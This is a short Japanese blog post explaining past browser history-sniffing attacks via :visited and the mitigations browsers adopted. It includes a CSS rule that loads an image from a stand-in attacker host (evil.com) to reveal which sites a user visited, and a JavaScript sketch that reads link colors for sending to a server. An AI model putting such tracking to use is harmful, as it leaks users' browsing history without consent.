以前、色をアルファチャンネルで指定したくない理由を探したことがあり、その過程でa:visited
のセキュリティ対策について触れた
この対策について、過去の話だが具体的にどういう攻撃の可能性があったのか知る機会があったので自分でも調べてみた
訪問済みのリンクの背景画像を変えてサーバーに送信する
下の記事にあるようにbackground-image
と一緒に使った場合、ユーザーが意図しないサイトにリンク先に訪問したことが知られてしまう
a:visited[href="https://example.com"]{ background-image:url("http://evil.com/visited/black.jpg"); }
そのため、background-image
と:visited
は一緒に使えなくなった
リンクの色の変化をjs内で検知しサーバーに送信する
getComputedStyle
を使って訪問前と訪問後のスタイルの違いを検知し、そのままサーバーに送信する
<style> a:link { color: blue; } a:visited { color: red; } </style> <a href="https://example.com">リンク</a> <script> window.onload = () => { document.querySelectorAll("a").forEach((a) => { const { color } = window.getComputedStyle(a); // colorの変化を見て、訪問後のカラーであればサーバに送信する }); }; </script>
これによってもユーザーの情報が意図せずリークできてしまうため、getComputedStyle
は:visited
のスタイルの情報を訪問前となるように振る舞うようになった
アフファチャンネルの計算時間の違いによる訪問の推測
訪問済みリンク:visited
のみに透明度(アフファチャンネル)が指定されていた場合、訪問済みと未訪問リンクの表示にかかる計算時間の違いを使ってユーザがどこにアクセスしたのかを推測することができた
そのため、:visited
が使えるCSSでもアルファチャンネルは無視される